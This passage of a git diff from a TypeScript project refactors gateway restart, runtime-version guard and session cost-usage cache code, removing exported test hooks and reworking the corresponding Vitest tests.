Atomics.wait = origWait; - testing.setSleepSyncOverride(() => {}); - } - }); - }); }); diff --git a/src/infra/restart-stale-pids.ts b/src/infra/restart-stale-pids.ts index 33bdb276b0f1..8f9a34df1c54 100644 --- a/src/infra/restart-stale-pids.ts +++ b/src/infra/restart-stale-pids.ts @@ -47,9 +47,9 @@ const POLL_SPAWN_TIMEOUT_MS = 400; const MAX_ANCESTOR_WALK_DEPTH = 32; const restartLog = createSubsystemLogger("restart"); -let sleepSyncOverride: ((ms: number) => void) | null = null; -let dateNowOverride: (() => number) | null = null; -let parentPidOverride: (() => number) | null = null; +const sleepSyncOverride: ((ms: number) => void) | null = null; +const dateNowOverride: (() => number) | null = null; +const parentPidOverride: (() => number) | null = null; function getTimeMs(): number { return dateNowOverride ? dateNowOverride() : Date.now(); @@ -656,18 +656,3 @@ export function cleanStaleGatewayProcessesSync( return []; } } - -export const testing = { - setSleepSyncOverride(fn: ((ms: number) => void) | null) { - sleepSyncOverride = fn; - }, - setDateNowOverride(fn: (() => number) | null) { - dateNowOverride = fn; - }, - setParentPidOverride(fn: (() => number) | null) { - parentPidOverride = fn; - }, - /** Invoke sleepSync directly (bypasses the override) for unit-testing the real Atomics path. */ - callSleepSyncRaw: sleepSync, -}; -export { testing as __testing }; diff --git a/src/infra/restart-suspension.test.ts b/src/infra/restart-suspension.test.ts index 80c02d71a84e..e3ebe5b0e528 100644 --- a/src/infra/restart-suspension.test.ts +++ b/src/infra/restart-suspension.test.ts @@ -11,7 +11,6 @@ import { getGatewaySuspendStatus, prepareGatewaySuspend, resetGatewaySuspendCoordinatorForLifecycleRestart, - resetGatewaySuspendCoordinatorForTest, resumeGatewaySuspend, } from "./gateway-suspend-coordinator.js"; import { @@ -20,7 +19,6 @@ import { scheduleGatewaySigusr1Restart, setGatewaySigusr1RestartPolicy, setPreRestartDeferralCheck, - testing, } from "./restart.js"; function inspectors(): GatewayActiveWorkInspectors { @@ -46,12 +44,18 @@ function countSigusr1Emits(calls: readonly unknown[][]): number { return calls.filter((args) => args[0] === "SIGUSR1").length; } +function resetGatewayLifecycleState(): void { + resetGatewaySuspendCoordinatorForLifecycleRestart(); + resetGatewayRestartStateForInProcessRestart(); +} + describe("scheduled restart during gateway suspension", () => { const sigusr1Handler = () => {}; beforeEach(() => { - testing.resetSigusr1State(); - resetGatewaySuspendCoordinatorForTest(); + resetGatewayLifecycleState(); + setGatewaySigusr1RestartPolicy({ allowExternal: false }); + setPreRestartDeferralCheck(() => 0); resetGatewayWorkAdmission(); vi.useFakeTimers(); process.on("SIGUSR1", sigusr1Handler); @@ -59,8 +63,9 @@ describe("scheduled restart during gateway suspension", () => { afterEach(() => { process.removeListener("SIGUSR1", sigusr1Handler); - testing.resetSigusr1State(); - resetGatewaySuspendCoordinatorForTest(); + resetGatewayLifecycleState(); + setGatewaySigusr1RestartPolicy({ allowExternal: false }); + setPreRestartDeferralCheck(() => 0); resetGatewayWorkAdmission(); vi.useRealTimers(); vi.restoreAllMocks(); diff --git a/src/infra/restart.deferral-timeout.test.ts b/src/infra/restart.deferral-timeout.test.ts index 7b8b1917eecd..144a5d69c5ca 100644 --- a/src/infra/restart.deferral-timeout.test.ts +++ b/src/infra/restart.deferral-timeout.test.ts @@ -6,27 +6,32 @@ import { tryBeginGatewayRootWorkAdmission, } from "../process/gateway-work-admission.js"; import { - testing, consumeGatewaySigusr1RestartIntent, deferGatewayRestartUntilIdle, - type RestartDeferralHooks, + resetGatewayRestartStateForInProcessRestart, } from "./restart.js"; +type RestartDeferralHooks = NonNullable< + Parameters[0]["hooks"] +>; + +const sigusr1Handler = () => {}; + describe("deferGatewayRestartUntilIdle timeout", () => { beforeEach(() => { vi.useFakeTimers(); - testing.resetSigusr1State(); + resetGatewayRestartStateForInProcessRestart(); resetGatewayWorkAdmission(); - // Add a listener so emitGatewayRestart uses process.emit instead of process.kill - process.on("SIGUSR1", () => {}); + // A listener makes restart emission use process.emit instead of process.kill. + process.on("SIGUSR1", sigusr1Handler); }); afterEach(() => { vi.useRealTimers(); vi.restoreAllMocks(); - testing.resetSigusr1State(); + resetGatewayRestartStateForInProcessRestart(); resetGatewayWorkAdmission(); - process.removeAllListeners("SIGUSR1"); + process.removeListener("SIGUSR1", sigusr1Handler); }); it("waits indefinitely when maxWaitMs is not specified", () => { @@ -36,7 +41,6 @@ describe("deferGatewayRestartUntilIdle timeout", () => { onStillPending: vi.fn(), }; - // Always return 1 pending item to prevent draining deferGatewayRestartUntilIdle({ getPendingCount: () => 1, hooks, @@ -57,27 +61,21 @@ describe("deferGatewayRestartUntilIdle timeout", () => { onReady: vi.fn(), }; - const customTimeoutMs = 120_000; // 2 minutes - deferGatewayRestartUntilIdle({ getPendingCount: () => 1, - maxWaitMs: customTimeoutMs, + maxWaitMs: 120_000, hooks, }); - // Advance to just before 2 minutes vi.advanceTimersByTime(119_999); expect(hooks.onTimeout).not.toHaveBeenCalled(); - // Advance past 2 minutes vi.advanceTimersByTime(1); expect(hooks.onTimeout).toHaveBeenCalledOnce(); }); it("clamps oversized poll intervals instead of polling immediately", () => { - const hooks: RestartDeferralHooks = { - onReady: vi.fn(), - }; + const hooks: RestartDeferralHooks = { onReady: vi.fn() }; let pending = 1; deferGatewayRestartUntilIdle({ @@ -118,7 +116,6 @@ describe("deferGatewayRestartUntilIdle timeout", () => { onTimeout: vi.fn(), onReady: vi.fn(), }; - let pending = 3; deferGatewayRestartUntilIdle({ @@ -126,12 +123,11 @@ describe("deferGatewayRestartUntilIdle timeout", () => { hooks, }); - // Advance a few poll intervals, then drain - vi.advanceTimersByTime(1000); + vi.advanceTimersByTime(1_000); expect(hooks.onReady).not.toHaveBeenCalled(); pending = 0; - await vi.advanceTimersByTimeAsync(500); // Next poll interval and fenced emission + await vi.advanceTimersByTimeAsync(500); expect(hooks.onReady).toHaveBeenCalledOnce(); expect(hooks.onTimeout).not.toHaveBeenCalled(); }); diff --git a/src/infra/restart.test.ts b/src/infra/restart.test.ts index 4250baefbcd6..695a61a636b6 100644 --- a/src/infra/restart.test.ts +++ b/src/infra/restart.test.ts @@ -34,11 +34,10 @@ vi.mock("../config/paths.js", () => ({ env.OPENCLAW_STATE_DIR ?? "/tmp/openclaw-state", })); -const { testing, cleanStaleGatewayProcessesSync, findGatewayPidsOnPortSync } = +const { cleanStaleGatewayProcessesSync, findGatewayPidsOnPortSync } = await import("./restart-stale-pids.js"); const { triggerOpenClawRestart } = await import("./restart.js"); -let currentTimeMs = 0; const envSnapshot = captureFullEnv(); beforeEach(() => { @@ -46,20 +45,12 @@ beforeEach(() => { spawnSyncMock.mockReset(); resolveLsofCommandSyncMock.mockReset(); resolveGatewayPortMock.mockReset(); - - currentTimeMs = 0; resolveLsofCommandSyncMock.mockReturnValue("/usr/sbin/lsof"); resolveGatewayPortMock.mockReturnValue(18789); - testing.setSleepSyncOverride((ms) => { - currentTimeMs += ms; - }); - testing.setDateNowOverride(() => currentTimeMs); }); afterEach(() => { envSnapshot.restore(); - testing.setSleepSyncOverride(null); - testing.setDateNowOverride(null); vi.restoreAllMocks(); }); diff --git a/src/infra/restart.ts b/src/infra/restart.ts index 924fc16b0a80..f03a0badd5b5 100644 --- a/src/infra/restart.ts +++ b/src/infra/restart.ts @@ -27,17 +27,15 @@ import { executeSqliteQueryTakeFirstSync, getNodeSqliteKysely, } from "./kysely-sync.js"; -import { cleanStaleGatewayProcessesSync, findGatewayPidsOnPortSync } from "./restart-stale-pids.js"; +import { cleanStaleGatewayProcessesSync } from "./restart-stale-pids.js"; import type { RestartAttempt } from "./restart.types.js"; import { relaunchGatewayScheduledTask } from "./windows-task-restart.js"; -export type { RestartAttempt } from "./restart.types.js"; - const SPAWN_TIMEOUT_MS = 2000; const SIGUSR1_AUTH_GRACE_MS = 5000; const DEFAULT_DEFERRAL_POLL_MS = 500; const DEFAULT_DEFERRAL_STILL_PENDING_WARN_MS = 30_000; -export const DEFAULT_RESTART_DEFERRAL_TIMEOUT_MS = 300_000; +const DEFAULT_RESTART_DEFERRAL_TIMEOUT_MS = 300_000; const RESTART_COOLDOWN_MS = 30_000; const LAUNCHCTL_ALREADY_LOADED_EXIT_CODE = 37; const GATEWAY_RESTART_INTENT_KEY = "gateway-restart"; @@ -46,8 +44,6 @@ const GATEWAY_RESTART_INTENT_TTL_MS = 60_000; const restartLog = createSubsystemLogger("restart"); type GatewayRestartIntentDatabase = Pick; -export { findGatewayPidsOnPortSync }; - let sigusr1AuthorizedCount = 0; let sigusr1AuthorizedUntil = 0; let sigusr1ExternalAllowed = false; @@ -167,7 +163,7 @@ export function resetGatewayRestartStateForInProcessRestart(): void { }); } -export type RestartAuditInfo = { +type RestartAuditInfo = { actor?: string; deviceId?: string; clientIp?: string; @@ -395,10 +391,7 @@ export function setPreRestartDeferralCheck(fn: () => number): void { * Runtime callers use emitGatewayRestartWithSignalAdmission so the signal-to-drain * handoff stays fenced; this lower-level primitive remains available to tests. */ -export function emitGatewayRestart( - reasonOverride?: string, - intent?: GatewayRestartIntent, -): boolean { +function emitGatewayRestart(reasonOverride?: string, intent?: GatewayRestartIntent): boolean { if (hasUnconsumedRestartSignal()) { clearActiveDeferralPolls(); clearPendingScheduledRestart(); @@ -554,7 +547,7 @@ function rollBackGatewayRestartEmission(): void { consumeGatewaySigusr1RestartAuthorization(); } -export type RestartDeferralHooks = { +type RestartDeferralHooks = { onDeferring?: (pending: number) => void; onStillPending?: (pending: number, elapsedMs: number) => void; onReady?: () => void; @@ -562,7 +555,7 @@ export type RestartDeferralHooks = { onCheckError?: (err: unknown) => void; }; -export type RestartEmitHooks = { +type RestartEmitHooks = { beforeEmit?: () => Promise; afterEmitRejected?: () => Promise; afterEmitFailed?: () => Promise; @@ -578,7 +571,7 @@ export type GatewayRestartEmitter = ( intent?: GatewayRestartIntent, ) => GatewayRestartEmitResult; -export type GatewayRestartEmitResult = +type GatewayRestartEmitResult = | { status: "emitted" } | { status: "coalesced" } | { status: "failed" }; @@ -1308,17 +1301,3 @@ export function scheduleGatewaySigusr1Restart(opts?: { emitHooksQueued: opts?.emitHooks !== undefined, }; } - -function resetSigusr1TransientStateForTest(): void { - clearGatewayRestartTransientState(); -} - -export const testing = { - resetSigusr1TransientState: resetSigusr1TransientStateForTest, - resetSigusr1State() { - resetSigusr1TransientStateForTest(); - sigusr1ExternalAllowed = false; - preRestartCheck = null; - }, -}; -export { testing as __testing }; diff --git a/src/infra/root-paths.ts b/src/infra/root-paths.ts index c70cbe57f5ef..b43dc335d6eb 100644 --- a/src/infra/root-paths.ts +++ b/src/infra/root-paths.ts @@ -4,7 +4,6 @@ import "./fs-safe-defaults.js"; // Root path helpers resolve writable and existing paths without allowing // traversal outside the configured root. export { - ensureDirectoryWithinRoot, resolveExistingPathsWithinRoot, resolvePathsWithinRoot, resolvePathWithinRoot, diff --git a/src/infra/runtime-guard.test.ts b/src/infra/runtime-guard.test.ts index adda1da2996a..68740abcd126 100644 --- a/src/infra/runtime-guard.test.ts +++ b/src/infra/runtime-guard.test.ts @@ -2,14 +2,10 @@ import { describe, expect, it, vi } from "vitest"; import { assertSupportedRuntime, - detectRuntime, isAtLeast, isSupportedNodeVersion, nodeVersionSatisfiesEngine, - parseMinimumNodeEngine, parseSemver, - type RuntimeDetails, - runtimeSatisfies, } from "./runtime-guard.js"; describe("runtime-guard", () => { @@ -35,49 +31,6 @@ describe("runtime-guard", () => { ); }); - it("validates runtime thresholds", () => { - const nodeOk: RuntimeDetails = { - kind: "node", - version: "22.22.3", - execPath: "/usr/bin/node", - pathEnv: "/usr/bin", - }; - const nodeOld: RuntimeDetails = { ...nodeOk, version: "22.22.2" }; - const nodeTooOld: RuntimeDetails = { ...nodeOk, version: "21.9.0" }; - const bun: RuntimeDetails = { - kind: "bun", - version: "1.3.13", - execPath: "/usr/bin/bun", - pathEnv: "/usr/bin", - }; - const unknown: RuntimeDetails = { - kind: "unknown", - version: null, - execPath: null, - pathEnv: "/usr/bin", - }; - expect(runtimeSatisfies(nodeOk)).toBe(true); - expect(runtimeSatisfies(nodeOld)).toBe(false); - expect(runtimeSatisfies(nodeTooOld)).toBe(false); - expect(runtimeSatisfies(bun)).toBe(false); - expect(runtimeSatisfies(unknown)).toBe(false); - expect(isSupportedNodeVersion("22.22.3")).toBe(true); - expect(isSupportedNodeVersion("22.22.2")).toBe(false); - expect(isSupportedNodeVersion("23.11.0")).toBe(false); - expect(isSupportedNodeVersion("24.14.1")).toBe(false); - expect(isSupportedNodeVersion("24.15.0")).toBe(true); - expect(isSupportedNodeVersion("25.8.1")).toBe(false); - expect(isSupportedNodeVersion("25.9.0")).toBe(true); - expect(isSupportedNodeVersion("26.0.0")).toBe(true); - expect(isSupportedNodeVersion(null)).toBe(false); - }); - - it("parses simple minimum node engine ranges", () => { - expect(parseMinimumNodeEngine(">=22.22.3")).toEqual({ major: 22, minor: 22, patch: 3 }); - expect(parseMinimumNodeEngine(" >=v24.0.0 ")).toEqual({ major: 24, minor: 0, patch: 0 }); - expect(parseMinimumNodeEngine("^22.22.3")).toBeNull(); - }); - it("checks node versions against simple engine ranges", () => { expect(nodeVersionSatisfiesEngine("22.22.3", ">=22.22.3")).toBe(true); expect(nodeVersionSatisfiesEngine("22.22.2", ">=22.22.3")).toBe(false); @@ -99,6 +52,20 @@ describe("runtime-guard", () => { expect(nodeVersionSatisfiesEngine("unknown", engine)).toBe(false); }); + it.each([ + ["22.22.3", true], + ["22.22.2", false], + ["23.11.0", false], + ["24.14.1", false], + ["24.15.0", true], + ["25.8.1", false], + ["25.9.0", true], + ["26.0.0", true], + [null, false], + ] as const)("classifies supported Node version %s", (version, expected) => { + expect(isSupportedNodeVersion(version)).toBe(expected); + }); + it("throws via exit when runtime is too old", () => { const runtime = { log: vi.fn(), @@ -107,8 +74,8 @@ describe("runtime-guard", () => { throw new Error("exit"); }), }; - const details: RuntimeDetails = { - kind: "node", + const details = { + kind: "node" as const, version: "20.0.0", execPath: "/usr/bin/node", pathEnv: "/usr/bin", @@ -133,11 +100,11 @@ describe("runtime-guard", () => { error: vi.fn(), exit: vi.fn(), }; - const details: RuntimeDetails = { - ...detectRuntime(), - kind: "node", + const details = { + kind: "node" as const, version: "22.22.3", execPath: "/usr/bin/node", + pathEnv: "/usr/bin", }; expect(assertSupportedRuntime(runtime, details)).toBeUndefined(); expect(runtime.exit).not.toHaveBeenCalled(); @@ -151,8 +118,8 @@ describe("runtime-guard", () => { throw new Error("exit"); }), }; - const details: RuntimeDetails = { - kind: "bun", + const details = { + kind: "bun" as const, version: "1.3.14", execPath: "/usr/bin/bun", pathEnv: "/usr/bin", @@ -178,8 +145,8 @@ describe("runtime-guard", () => { throw new Error("exit"); }), }; - const details: RuntimeDetails = { - kind: "unknown", + const details = { + kind: "unknown" as const, version: null, execPath: null, pathEnv: "(not set)", diff --git a/src/infra/runtime-guard.ts b/src/infra/runtime-guard.ts index ab20549b842f..d864916f5fd7 100644 --- a/src/infra/runtime-guard.ts +++ b/src/infra/runtime-guard.ts @@ -28,7 +28,7 @@ const MINIMUM_ENGINE_RE = /^\s*>=\s*v?(\d+\.\d+\.\d+)\s*$/i; const ENGINE_CLAUSE_RE = /^\s*>=\s*v?(\d+\.\d+\.\d+)(?:\s+<\s*v?(\d+(?:\.\d+\.\d+)?))?\s*$/i; /** Runtime facts included in startup/runtime-version diagnostics. */ -export type RuntimeDetails = { +type RuntimeDetails = { kind: RuntimeKind; version: string | null; execPath: string | null; @@ -69,7 +69,7 @@ export function isAtLeast(version: Semver | null, minimum: Semver): boolean { } /** Reads current process runtime metadata for startup support checks. */ -export function detectRuntime(): RuntimeDetails { +function detectRuntime(): RuntimeDetails { const bunVersion = process.versions?.bun; const kind: RuntimeKind = bunVersion ? "bun" : process.versions?.node ? "node" : "unknown"; const version = bunVersion ?? process.versions?.node ?? null; @@ -83,7 +83,7 @@ export function detectRuntime(): RuntimeDetails { } /** Returns whether a detected runtime meets OpenClaw's minimum runtime contract. */ -export function runtimeSatisfies(details: RuntimeDetails): boolean { +function runtimeSatisfies(details: RuntimeDetails): boolean { if (details.kind === "node") { return isSupportedNodeVersion(details.version); } @@ -109,7 +109,7 @@ export function isSupportedNodeVersion(version: string | null): boolean { } /** Parses simple package `engines.node` ranges of the form `>=x.y.z`. */ -export function parseMinimumNodeEngine(engine: string | null): Semver | null { +function parseMinimumNodeEngine(engine: string | null): Semver | null { if (!engine) { return null; } diff --git a/src/infra/session-cost-usage-cache.sqlite.ts b/src/infra/session-cost-usage-cache.sqlite.ts index cbfd446d2250..f25caea44930 100644 --- a/src/infra/session-cost-usage-cache.sqlite.ts +++ b/src/infra/session-cost-usage-cache.sqlite.ts @@ -250,30 +250,3 @@ export function acquireSessionCostUsageRefreshLock( }, }; } - -export const sessionCostUsageCacheTestApi = { - readCacheJson: readSessionCostUsageCacheJson, - writeCacheJson(agentId: string | undefined, valueJson: string): void { - writeSessionCostUsageCacheJson({ agentId, valueJson, updatedAt: Date.now() }); - }, - readRefreshLock(agentId?: string): SessionCostUsageRefreshLock | null { - return parseRefreshLock(readCacheValue(agentId, REFRESH_LOCK_KEY)); - }, - writeRefreshLock(agentId: string | undefined, value: unknown): void { - upsertCacheValue({ - agentId, - key: REFRESH_LOCK_KEY, - valueJson: JSON.stringify(value), - updatedAt: Date.now(), - }); - }, - writeMalformedRefreshLock(agentId: string | undefined, valueJson: string): void { - upsertCacheValue({ agentId, key: REFRESH_LOCK_KEY, valueJson, updatedAt: Date.now() }); - }, - clearRefreshLock(agentId?: string): void { - const raw = readCacheValue(agentId, REFRESH_LOCK_KEY); - if (raw !== null) { - deleteCacheValueIfUnchanged({ agentId, key: REFRESH_LOCK_KEY, valueJson: raw }); - } - }, -}; diff --git a/src/infra/session-cost-usage.stream-errors.test.ts b/src/infra/session-cost-usage.stream-errors.test.ts index 0c63aa091532..0362bb8a878a 100644 --- a/src/infra/session-cost-usage.stream-errors.test.ts +++ b/src/infra/session-cost-usage.stream-errors.test.ts @@ -7,12 +7,8 @@ import { PassThrough } from "node:stream"; import { afterEach, describe, expect, it, vi } from "vitest"; import { useAutoCleanupTempDirTracker } from "../../test/helpers/temp-dir.js"; import { withEnvAsync } from "../test-utils/env.js"; -import { sessionCostUsageCacheTestApi } from "./session-cost-usage-cache.sqlite.js"; -import { - loadCostUsageSummaryFromCache, - loadSessionLogs, - refreshCostUsageCache, -} from "./session-cost-usage.js"; +import { readSessionCostUsageCacheJson } from "./session-cost-usage-cache.sqlite.js"; +import { loadCostUsageSummaryFromCache, loadSessionLogs } from "./session-cost-usage.js"; const tempDirs = useAutoCleanupTempDirTracker(afterEach); @@ -54,7 +50,7 @@ describe("session cost usage stream errors", () => { expect(logs).toEqual([]); }); - it("does not persist a partial durable cache entry after a stream error", async () => { + it("does not persist a partial durable cache entry after a background stream error", async () => { const tempDir = tempDirs.make("openclaw-session-cost-cache-stream-"); const sessionsDir = path.join(tempDir, "agents", "main", "sessions"); await fs.mkdir(sessionsDir, { recursive: true }); @@ -71,8 +67,15 @@ describe("session cost usage stream errors", () => { await fs.writeFile(sessionFile, `${usageEntry("2026-07-06T12:00:00.000Z", 10)}\n`, "utf-8"); await withEnvAsync({ OPENCLAW_STATE_DIR: tempDir }, async () => { - await refreshCostUsageCache(); - const cacheBefore = sessionCostUsageCacheTestApi.readCacheJson(); + const range = { + startMs: Date.UTC(2026, 6, 6), + endMs: Date.UTC(2026, 6, 7), + }; + await loadCostUsageSummaryFromCache({ + ...range, + refreshMode: "sync-when-empty", + }); + const cacheBefore = readSessionCostUsageCacheJson(); const appendedEntry = `${usageEntry("2026-07-06T12:01:00.000Z", 20)}\n`; await fs.appendFile(sessionFile, appendedEntry, "utf-8"); @@ -85,16 +88,18 @@ describe("session cost usage stream errors", () => { return stream as unknown as nodeFs.ReadStream; }); - await expect(refreshCostUsageCache()).rejects.toThrow("stream read failed"); - expect(sessionCostUsageCacheTestApi.readCacheJson()).toBe(cacheBefore); + await loadCostUsageSummaryFromCache(range); + let summary = await loadCostUsageSummaryFromCache({ ...range, requestRefresh: false }); + await vi.waitFor( + async () => { + summary = await loadCostUsageSummaryFromCache({ ...range, requestRefresh: false }); + expect(summary.cacheStatus?.status).toBe("partial"); + }, + { interval: 5, timeout: 1_000 }, + ); - const summary = await loadCostUsageSummaryFromCache({ - startMs: Date.UTC(2026, 6, 6), - endMs: Date.UTC(2026, 6, 7), - requestRefresh: false, - }); + expect(readSessionCostUsageCacheJson()).toBe(cacheBefore); expect(summary.totals.totalTokens).toBe(10); - expect(summary.cacheStatus?.status).toBe("partial"); expect(summary.cacheStatus?.pendingFiles).toBe(1); }); }); diff --git a/src/infra/session-cost-usage.test.ts b/src/infra/session-cost-usage.test.ts index 0b5723d5b537..ca86c20f0e0c 100644 --- a/src/infra/session-cost-usage.test.ts +++ b/src/infra/session-cost-usage.test.ts @@ -11,39 +11,22 @@ import { import { clearGatewayModelPricingFailures, replaceGatewayModelPricingCache, - type CachedModelPricing, } from "../gateway/model-pricing-cache-state.js"; import { createSuiteTempRootTracker } from "../test-helpers/temp-dir.js"; import { withEnvAsync } from "../test-utils/env.js"; import * as usageFormat from "../utils/usage-format.js"; import * as formatDatetime from "./format-time/format-datetime.js"; -import { sessionCostUsageCacheTestApi } from "./session-cost-usage-cache.sqlite.js"; import { discoverAllSessions, loadCostUsageSummary, loadCostUsageSummaryFromCache, loadSessionCostSummary, - loadSessionCostSummaryFromCache, loadSessionCostSummariesFromCache, loadSessionLogs, loadSessionUsageTimeSeries, - requestCostUsageCacheRefresh, - refreshCostUsageCache, resolveExistingUsageSessionFile, } from "./session-cost-usage.js"; -function setGatewayModelPricing( - entries: Array<{ - provider: string; - model: string; - pricing: CachedModelPricing; - }>, -): void { - replaceGatewayModelPricingCache( - new Map(entries.map((entry) => [`${entry.provider}/${entry.model}`, entry.pricing])), - ); -} - function clearGatewayModelPricingState(): void { replaceGatewayModelPricingCache(new Map(), 0); clearGatewayModelPricingFailures(); @@ -61,28 +44,12 @@ describe("session cost usage", () => { JSON.stringify(entry), "", ].join("\n"); - const waitFor = async (predicate: () => Promise, timeoutMs = 2_000): Promise => { - await vi.waitFor(async () => expect(await predicate()).toBe(true), { - interval: 1, - timeout: timeoutMs, - }); - }; const requireValue = (value: T | null | undefined, message: string): T => { if (value == null) { throw new Error(message); } return value; }; - const readUsageCostCache = (parse: (raw: string) => T = (raw) => JSON.parse(raw) as T): T => { - const raw = sessionCostUsageCacheTestApi.readCacheJson(); - if (!raw) { - throw new Error("expected SQLite usage-cost cache row"); - } - return parse(raw); - }; - const writeUsageCostCache = (value: unknown, agentId?: string): void => { - sessionCostUsageCacheTestApi.writeCacheJson(agentId, JSON.stringify(value)); - }; beforeAll(async () => { await suiteRootTracker.setup(); @@ -190,22 +157,61 @@ describe("session cost usage", () => { }); }); - it("includes SQLite-only sessions in cached usage cost summaries", async () => { - const root = await makeSessionCostRoot("sqlite-cost"); + it("does not fall back from empty SQLite transcripts to stale JSONL usage files", async () => { + const root = await makeSessionCostRoot("sqlite-cost-empty"); const storePath = path.join(root, "agents", "main", "sessions", "sessions.json"); - const sessionKey = "agent:main:main"; - const sessionId = "sqlite-cost-session"; - const now = Date.UTC(2026, 5, 25, 12, 0, 0); + const sessionKey = "agent:main:empty-sqlite-cost"; + const sessionId = "empty-sqlite-cost-session"; + const sqliteMarker = `sqlite:main:${sessionId}:${storePath}`; + const legacyJsonl = path.join(path.dirname(storePath), `${sessionId}.jsonl`); await withStateDir(root, async () => { await upsertSessionEntry( { sessionKey, storePath }, { - sessionFile: `sqlite:main:${sessionId}:${storePath}`, + sessionFile: sqliteMarker, sessionId, - updatedAt: now, + updatedAt: Date.UTC(2026, 5, 25, 12, 0, 0), }, ); + await fs.mkdir(path.dirname(legacyJsonl), { recursive: true }); + await fs.writeFile( + legacyJsonl, + transcriptText(sessionId, { + type: "message", + timestamp: "2026-06-25T12:00:00.000Z", + message: { + role: "assistant", + usage: { input: 100, output: 100, totalTokens: 200, cost: { total: 0.2 } }, + }, + }), + "utf-8", + ); + + expect( + resolveExistingUsageSessionFile({ + agentId: "main", + sessionEntry: { sessionFile: sqliteMarker, sessionId, updatedAt: 1 }, + sessionFile: legacyJsonl, + sessionId, + }), + ).toBe(sqliteMarker); + }); + }); + + it("includes SQLite-only sessions in cached usage summaries", async () => { + const root = await makeSessionCostRoot("sqlite-cost"); + const storePath = path.join(root, "agents", "main", "sessions", "sessions.json"); + const sessionKey = "agent:main:main"; + const sessionId = "sqlite-cost-session"; + const now = Date.UTC(2026, 5, 25, 12, 0, 0); + const sessionFile = `sqlite:main:${sessionId}:${storePath}`; + + await withStateDir(root, async () => { + await upsertSessionEntry( + { sessionKey, storePath }, + { sessionFile, sessionId, updatedAt: now }, + ); await persistSessionTranscriptTurn( { agentId: "main", sessionId, sessionKey, storePath }, { @@ -252,36 +258,37 @@ describe("session cost usage", () => { }), "utf-8", ); - expect(nodeFs.existsSync(legacyJsonl)).toBe(true); - await refreshCostUsageCache({ agentId: "main" }); + const summary = await loadCostUsageSummaryFromCache({ agentId: "main", startMs: Date.UTC(2026, 5, 25), endMs: Date.UTC(2026, 5, 25, 23, 59, 59, 999), - requestRefresh: false, + refreshMode: "sync-when-empty", }); - expect(summary.totals.totalTokens).toBe(18); expect(summary.totals.totalCost).toBeCloseTo(0.018, 8); expect(summary.cacheStatus?.status).toBe("fresh"); - const sessionFile = `sqlite:main:${sessionId}:${storePath}`; - const sessionEntry = { - sessionFile, - sessionId, - updatedAt: now, - }; - await refreshCostUsageCache({ agentId: "main", sessionFiles: [sessionFile] }); - const bulk = await loadSessionCostSummariesFromCache({ + await loadSessionCostSummariesFromCache({ agentId: "main", sessions: [{ sessionId, sessionFile }], - startMs: Date.UTC(2026, 5, 25), - endMs: Date.UTC(2026, 5, 25, 23, 59, 59, 999), - requestRefresh: false, }); - expect(bulk.cacheStatus.status).toBe("fresh"); - expect(bulk.summaries[0]?.totalTokens).toBe(18); + await vi.waitFor( + async () => { + const bulk = await loadSessionCostSummariesFromCache({ + agentId: "main", + sessions: [{ sessionId, sessionFile }], + startMs: Date.UTC(2026, 5, 25), + endMs: Date.UTC(2026, 5, 25, 23, 59, 59, 999), + requestRefresh: false, + }); + expect(bulk.cacheStatus.status).toBe("fresh"); + expect(bulk.summaries[0]?.totalTokens).toBe(18); + }, + { interval: 10, timeout: 2_000 }, + ); + const sessionEntry = { sessionFile, sessionId, updatedAt: now }; const summaryFromStalePath = await loadSessionCostSummary({ agentId: "main", sessionEntry, @@ -292,98 +299,13 @@ describe("session cost usage", () => { await expect(loadSessionUsageTimeSeries({ agentId: "main", sessionFile })).resolves.toEqual({ sessionId: undefined, - points: [ - expect.objectContaining({ - input: 7, - output: 11, - totalTokens: 18, - }), - ], - }); - await expect( - loadSessionUsageTimeSeries({ - agentId: "main", - sessionEntry, - sessionFile: legacyJsonl, - sessionId, - }), - ).resolves.toEqual({ - sessionId, - points: [ - expect.objectContaining({ - input: 7, - output: 11, - totalTokens: 18, - }), - ], + points: [expect.objectContaining({ input: 7, output: 11, totalTokens: 18 })], }); await expect(loadSessionLogs({ agentId: "main", sessionFile })).resolves.toEqual( expect.arrayContaining([ - expect.objectContaining({ - cost: 0.018, - role: "assistant", - tokens: 18, - }), + expect.objectContaining({ cost: 0.018, role: "assistant", tokens: 18 }), ]), ); - await expect( - loadSessionLogs({ - agentId: "main", - sessionEntry, - sessionFile: legacyJsonl, - sessionId, - }), - ).resolves.toEqual( - expect.arrayContaining([ - expect.objectContaining({ - cost: 0.018, - role: "assistant", - tokens: 18, - }), - ]), - ); - }); - }); - - it("does not fall back from empty SQLite transcripts to stale JSONL usage files", async () => { - const root = await makeSessionCostRoot("sqlite-cost-empty"); - const storePath = path.join(root, "agents", "main", "sessions", "sessions.json"); - const sessionKey = "agent:main:empty-sqlite-cost"; - const sessionId = "empty-sqlite-cost-session"; - const sqliteMarker = `sqlite:main:${sessionId}:${storePath}`; - const legacyJsonl = path.join(path.dirname(storePath), `${sessionId}.jsonl`); - - await withStateDir(root, async () => { - await upsertSessionEntry( - { sessionKey, storePath }, - { - sessionFile: sqliteMarker, - sessionId, - updatedAt: Date.UTC(2026, 5, 25, 12, 0, 0), - }, - ); - await fs.mkdir(path.dirname(legacyJsonl), { recursive: true }); - await fs.writeFile( - legacyJsonl, - transcriptText(sessionId, { - type: "message", - timestamp: "2026-06-25T12:00:00.000Z", - message: { - role: "assistant", - usage: { input: 100, output: 100, totalTokens: 200, cost: { total: 0.2 } }, - }, - }), - "utf-8", - ); - - expect( - resolveExistingUsageSessionFile({ - agentId: "main", - sessionEntry: { sessionFile: sqliteMarker, sessionId, updatedAt: 1 }, - sessionFile: legacyJsonl, - sessionId, - }), - ).toBe(sqliteMarker); }); }); @@ -536,225 +458,6 @@ describe("session cost usage", () => { }); }); - it("estimates known-priced token usage when the transcript recorded a zero total", async () => { - const root = await makeSessionCostRoot("cost-known-pricing-zero-total"); - const sessionsDir = path.join(root, "agents", "main", "sessions"); - await fs.mkdir(sessionsDir, { recursive: true }); - const sessionFile = path.join(sessionsDir, "sess-deepseek-v4.jsonl"); - const timestamp = "2026-02-05T12:00:00.000Z"; - const entry = { - type: "message", - timestamp, - message: { - role: "assistant", - provider: "deepseek", - model: "deepseek-v4-flash", - content: "ok", - usage: { - input: 10_000, - output: 5_000, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 15_000, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - }, - }; - await fs.writeFile(sessionFile, transcriptText("sess-deepseek-v4", entry), "utf-8"); - - const config = { - models: { - providers: { - deepseek: { - models: [ - { - id: "deepseek-v4-flash", - cost: { input: 0.14, output: 